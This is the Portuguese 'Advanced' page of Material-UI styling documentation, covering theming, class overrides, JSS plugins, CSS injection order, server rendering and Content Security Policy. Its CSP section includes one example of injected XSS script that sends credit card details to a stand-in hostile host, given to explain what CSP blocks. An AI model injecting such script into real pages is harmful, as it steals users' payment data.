Avançado
Esta seção aborda o uso mais avançado de @material-ui/core/styles.
Temas
Adicione um ThemeProvider
para o nível superior de sua aplicação para passar um tema pela árvore de componentes do React. Dessa maneira, você poderá acessar o objeto de tema em funções de estilo.
Este exemplo cria um objeto de tema para componentes customizados. Se você pretende usar alguns dos componentes do Material-UI, você precisa fornecer uma estrutura de tema mais rica usando o método
createTheme()
. Vá até a seção de temas para aprender como construir seu tema customizado do Material-UI.
import { ThemeProvider } from '@material-ui/core/styles';
import DeepChild from './my_components/DeepChild';
const theme = {
background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
};
function Theming() {
return (
<ThemeProvider theme={theme}>
<DeepChild />
</ThemeProvider>
);
}
<ThemeProvider theme={themeInstance}>
<DeepChild />
</ThemeProvider>
Acessando o tema em um componente
Você pode precisar acessar as variáveis de tema dentro de seus componentes React.
useTheme
hook
Para uso em componentes de função:
import { useTheme } from '@material-ui/core/styles';
function DeepChild() {
const theme = useTheme();
return <span>{`spacing ${theme.spacing}`}</span>;
}
<ThemeProvider
theme={{
spacing: '8px',
}}
>
<DeepChild />
</ThemeProvider>
withTheme
HOC
Para uso em componentes de classe ou função:
import { withTheme } from '@material-ui/core/styles';
function DeepChildRaw(props) {
return <span>{`spacing ${props.theme.spacing}`}</span>;
}
const DeepChild = withTheme(DeepChildRaw);
Aninhamento de tema
Você pode aninhar vários provedores de tema. Isso pode ser muito útil ao lidar com diferentes áreas da sua aplicação que têm aparência distinta entre si.
<ThemeProvider theme={outerTheme}>
<Child1 />
<ThemeProvider theme={innerTheme}>
<Child2 />
</ThemeProvider>
</ThemeProvider>
O tema interno sobrescreverá o tema externo. Você pode estender o tema externo fornecendo uma função:
<ThemeProvider theme={…} >
<Child1 />
<ThemeProvider theme={outerTheme => ({ darkMode: true, ...outerTheme })}>
<Child2 />
</ThemeProvider>
</ThemeProvider>
Sobrescrevendo estilos - propriedade classes
As APIs makeStyles
(hook generator) e withStyles
(HOC) permitem a criação de várias regras de estilos por folha de estilo. Cada regra de estilo tem seu próprio nome de classe. Os nomes das classes são fornecidos para o componente com a variável classes
. Isso é particularmente útil ao estilizar elementos aninhados em um componente.
// Uma folha de estilo
const useStyles = makeStyles({
root: {}, // uma regra de estilo
label: {}, // uma regra de estilo aninhada
});
function Nested(props) {
const classes = useStyles();
return (
<button className={classes.root}> // 'jss1'
<span className={classes.label}> // 'jss2'
nested
</span>
</button>
);
}
function Parent() {
return <Nested />
}
No entanto, os nomes das classes geralmente não são determinísticos. Como um componente pai pode substituir o estilo de um elemento aninhado?
withStyles
Esta é a maneira mais simples. O componente encapsulado aceita a propriedade classes
, ele simplesmente mescla os nomes de classes fornecidos com a folha de estilo.
const Nested = withStyles({
root: {}, // uma regra de estilo
label: {}, // uma regra de estilo aninhada
})(({ classes }) => (
<button className={classes.root}>
<span className={classes.label}> // 'jss2 my-label'
Aninhado
</span>
</button>
));
function Parent() {
return <Nested classes={{ label: 'my-label' }} />
}
makeStyles
A API hook requer um pouco mais de trabalho. Você tem que encaminhar as propriedades do pai para o hook como primeiro argumento.
const useStyles = makeStyles({
root: {}, // uma regra de estilo
label: {}, // uma regra de estilo aninhada
});
function Nested(props) {
const classes = useStyles(props);
return (
<button className={classes.root}>
<span className={classes.label}> // 'jss2 my-label'
nested
</span>
</button>
);
}
function Parent() {
return <Nested classes={{ label: 'my-label' }} />
}
Plugins JSS
JSS usa plugins para estender sua essência, permitindo que você escolha os recursos que você precisa, e somente pague pela sobrecarga de desempenho para o que você está usando.
Nem todos os plugins estão disponíveis por padrão no Material-UI. Os seguintes (que são um subconjunto de jss-preset-default) estão incluídos:
- jss-plugin-rule-value-function
- jss-plugin-global
- jss-plugin-nested
- jss-plugin-camel-case
- jss-plugin-default-unit
- jss-plugin-vendor-prefixer
- jss-plugin-props-sort
Claro, você é livre para usar plugins adicionais. Aqui está um exemplo com o plugin jss-rtl.
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
import rtl from 'jss-rtl'
const jss = create({
plugins: [...jssPreset().plugins, rtl()],
});
export default function App() {
return (
<StylesProvider jss={jss}>
...
</StylesProvider>
);
}
String templates
Se você preferir a sintaxe CSS sobre o JSS, você pode usar o plugin jss-plugin-template .
const useStyles = makeStyles({
root: `
background: linear-gradient(45deg, #fe6b8b 30%, #ff8e53 90%);
border-radius: 3px;
font-size: 16px;
border: 0;
color: white;
height: 48px;
padding: 0 30px;
box-shadow: 0 3px 5px 2px rgba(255, 105, 135, 0.3);
`,
});
Note que isto não suporta seletores, ou regras aninhadas.
Ordem de injeção do CSS
É realmente importante entender como a especificidade do CSS é calculada pelo navegador, como um dos elementos chave para saber quando sobrescrever estilos. Recomendamos que você leia este parágrafo do MDN: Como a especificidade é calculada?
Por padrão, os estilos são inseridos por último no elemento <head>
da sua página. Eles ganham mais especificidade do que qualquer outra folha de estilo em sua página, por exemplo, módulos CSS, componentes estilizados (styled components).
injectFirst
O componente StylesProvider
tem uma propriedade injectFirst
para injetar as tags de estilo em primeiro no cabeçalho (menor prioridade):
import { StylesProvider } from '@material-ui/core/styles';
<StylesProvider injectFirst>
{/* Sua árvore de componentes.
Componentes com estilo podem sobrescrever os estilos de Material-UI. */}
</StylesProvider>
makeStyles
/ withStyles
/ styled
A injeção de tags de estilo acontece na mesma ordem das invocações de makeStyles
/ withStyles
/ styled
. Por exemplo, a cor vermelha ganha maior especificidade neste caso:
import clsx from 'clsx';
import { makeStyles } from '@material-ui/core/styles';
const useStylesBase = makeStyles({
root: {
color: 'blue', // 🔵
},
});
const useStyles = makeStyles({
root: {
color: 'red', // 🔴
},
});
export default function MyComponent() {
// Ordem não importa
const classes = useStyles();
const classesBase = useStylesBase();
// Ordem não importa
const className = clsx(classes.root, classesBase.root)
// color: red 🔴 vence.
return <div className={className} />;
}
A ordem de chamada do hook e a ordem de concatenação da classe não importam.
Ponto de inserção (insertionPoint)
JSS fornece um mecanismo para controlar esta situação. Adicionando um ponto de inserção
dentro do HTML, você pode controlar a ordem que as regras CSS são aplicadas aos seus componentes.
Comentário HTML
A abordagem mais simples é adicionar um comentário HTML no <head>
que determina onde o JSS vai injetar os estilos:
<head>
<!-- jss-insertion-point -->
<link href="...">
</head>
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
const jss = create({
...jssPreset(),
// Defina um ponto de inserção customizado que o JSS irá procurar para injetar os estilos no DOM.
insertionPoint: 'jss-insertion-point',
});
export default function App() {
return <StylesProvider jss={jss}>...</StylesProvider>;
}
Outros elementos HTML
Create React App remove comentários em HTML ao criar a compilação de produção. Para contornar esse comportamento, você pode fornecer um elemento DOM (diferente de um comentário) como o ponto de inserção do JSS, por exemplo, um elemento <noscript>
:
<head>
<noscript id="jss-insertion-point" />
<link href="..." />
</head>
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
const jss = create({
...jssPreset(),
// Defina um ponto de inserção customizado que o JSS irá procurar para injetar os estilos no DOM.
insertionPoint: document.getElementById('jss-insertion-point'),
});
export default function App() {
return <StylesProvider jss={jss}>...</StylesProvider>;
}
JS createComment
codesandbox.io impede o acesso ao elemento <head>
. Para contornar esse comportamento, você pode usar a API JavaScript document.createComment()
:
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
const styleNode = document.createComment('jss-insertion-point');
document.head.insertBefore(styleNode, document.head.firstChild);
const jss = create({
...jssPreset(),
// Defina um ponto de inserção customizado que o JSS irá procurar para injetar os estilos no DOM.
insertionPoint: 'jss-insertion-point',
});
export default function App() {
return <StylesProvider jss={jss}>...</StylesProvider>;
}
Renderização do lado servidor
Este exemplo retorna uma string de HTML e insere o CSS crítico necessário, logo antes de ser usado:
import ReactDOMServer from 'react-dom/server';
import { ServerStyleSheets } from '@material-ui/core/styles';
function render() {
const sheets = new ServerStyleSheets();
const html = ReactDOMServer.renderToString(sheets.collect(<App />));
const css = sheets.toString();
return `
<!DOCTYPE html>
<html>
<head>
<style id="jss-server-side">${css}</style>
</head>
<body>
<div id="root">${html}</div>
</body>
</html>
`;
}
Você pode seguir o guia de renderização no servidor para um exemplo mais detalhado, ou leia o ServerStyleSheets
na documentação da API.
Gatsby
Existe um plugin oficial Gatsby que permite a renderização do lado do servidor para @material-ui/styles
. Consulte a página do plugin para obter instruções de configuração e uso.
Consulte este exemplo de projeto Gatsby para um exemplo de como usar atualizado.
Next.js
Você precisa ter um pages/_document.js
customizado, então copie esta lógica para injetar os estilos renderizados no lado do servidor no elemento <head>
.
Para um exemplo de como usar atualizado, consulte este projeto de exemplo.
Nomes de classes
Os nomes de classes são gerados pelo gerador de nome de classe.
Padrão
Por padrão, os nomes de classes gerados por @material-ui/core/styles
são não determinísticos; você não pode confiar que eles irão permanecer os mesmos. Vejamos o seguinte estilo como um exemplo:
const useStyles = makeStyles({
root: {
opacity: 1,
},
});
Isto irá gerar um nome de classe como makeStyles-root-123
.
Você tem que usar a propriedade classes
de um componente para sobrescrever os estilos. O comportamento não determinístico dos nomes de classes permitem o isolamento de estilos.
- Em desenvolvimento, o nome da classe é:
.makeStyles-root-123
seguindo esta lógica:
const sheetName = 'makeStyles';
const ruleName = 'root';
const identifier = 123;
const className = `${sheetName}-${ruleName}-${identifier}`;
- Em produção, o nome da classe é:
.jss123
seguindo esta lógica:
const productionPrefix = 'jss';
const identifier = 123;
const className = `${productionPrefix}-${identifier}`;
Com @material-ui/core
Os nomes de classe gerados dos componentes do pacote @material-ui/core
se comportam de maneira diferente. Quando as seguintes condições são atendidas, os nomes das classes são determinísticos:
- Apenas um provedor de tema é usado (Sem aninhamento de tema)
- A folha de estilo tem um nome que começa com
Mui
(todos os componentes do Material-UI). - A opção
disableGlobal
do gerador de nome de classe éfalse
(o padrão).
Essas condições são atendidas com a situação de uso mais comum de @material-ui/core
. Por exemplo, esta folha de estilo:
const useStyles = makeStyles({
root: { /* … */ },
label: { /* … */ },
outlined: {
/* … */
'&$disabled': { /* … */ },
},
outlinedPrimary: {
/* … */
'&:hover': { /* … */ },
},
disabled: {},
}, { name: 'MuiButton' });
gera os seguintes nomes de classe que você pode sobrescrever:
.MuiButton-root { /* … */ }
.MuiButton-label { /* … */ }
.MuiButton-outlined { /* … */ }
.MuiButton-outlined.Mui-disabled { /* … */ }
.MuiButton-outlinedPrimary: { /* … */ }
.MuiButton-outlinedPrimary:hover { /* … */ }
Esta é uma simplificação da folha de estilo do componente @material-ui/core/Button
.
A customização de campos de texto pode ser incômoda com a API classes
, onde você tem que definir a propriedade classes. É mais fácil usar os valores padrão, conforme descrito acima. Por exemplo:
import styled from 'styled-components';
import { TextField } from '@material-ui/core';
const StyledTextField = styled(TextField)`
label.focused {
color: green; 💚
}
.MuiOutlinedInput-root {
fieldset {
border-color: red; 💔
}
&:hover fieldset {
border-color: yellow; 💛
}
&.Mui-focused fieldset {
border-color: green; 💚
}
}
`;
<NoSsr>
<StyledTextField label="Deterministic" variant="outlined" id="deterministic-outlined-input" />
</NoSsr>
Global CSS
jss-plugin-global
O plugin jss-plugin-global
é instalado na predefinição padrão. Você pode usá-lo para definir nomes de classes globais.
<div className="cssjss-advanced-global-child" />
<div className="child" />
Prefixos CSS
O JSS usa recursos de detecção para aplicar os prefixos corretos. Não fique surpreso se você não ver um prefixo específico na versão mais recente do Chrome. Seu navegador provavelmente não precisa dele.
Política de segurança de conteúdo (CSP)
O que é CSP e por que é útil?
Basicamente, o CSP reduz os ataques de cross-site scripting (XSS) exigindo que os desenvolvedores incluam na whitelist as fontes de onde seus assets são recuperados. Esta lista é retornada como um cabeçalho do servidor. Por exemplo, digamos que você tenha um site hospedado em https://example.com
o cabeçalho CSP default-src: 'self';
permitirá todos os assets localizados em https://example.com/*
e negar todos os outros. Se houver uma seção do seu site que é vulnerável ao XSS, onde a entrada do usuário de unescaped é exibida, um invasor pode inserir algo como:
<script>
sendCreditCardDetails('https://hostile.example');
</script>
Esta vulnerabilidade permitiria que o invasor executasse qualquer coisa. No entanto, com um cabeçalho CSP seguro, o navegador não carregará esse script.
Você pode ler mais sobre o CSP no MDN Web Docs.
Como se implementa o CSP?
Para usar o CSP com Material-UI (e JSS), você precisa usar um nonce. Um nonce é uma string gerada aleatoriamente que é usada apenas uma vez, portanto, você precisa adicionar um middleware de servidor para gerar um em cada solicitação. JSS tem um ótimo tutorial sobre como conseguir isso com Express and React Helmet. Para um resumo básico, continue lendo.
Um nonce CSP é uma string codificada na Base 64. Você pode gerar um assim:
import uuidv4 from 'uuid/v4';
const nonce = new Buffer(uuidv4()).toString('base64');
É muito importante que você use o UUID versão 4, pois ele gera uma string imprevisível. Em seguida, você aplica esse nonce ao cabeçalho do CSP. Um cabeçalho CSP pode ser assim com o nonce aplicado:
header('Content-Security-Policy')
.set(`default-src 'self'; style-src: 'self' 'nonce-${nonce}';`);
Se você estiver usando renderização do lado do servidor, deverá passar o nonce na tag <style>
no servidor.
<style
id="jss-server-side"
nonce={nonce}
dangerouslySetInnerHTML={{ __html: sheets.toString() }}
/>
Então, você deve passar este nonce para o JSS para que ele possa adicioná-lo às tags <style>
subsequentes.
A maneira como você faz isso é passando uma tag <meta property="csp-nonce" content={nonce} />
no <head>
do seu HTML. O JSS irá então, por convenção, procurar por uma tag <meta property="csp-nonce"
e usar o valor do content
como um nonce.
Você deve incluir esse cabeçalho independentemente da renderização do lado do servidor ser usada ou não. Aqui está um exemplo de como um cabeçalho fictício poderia parecer:
<head>
<meta property="csp-nonce" content="this-is-a-nonce-123" />
</head>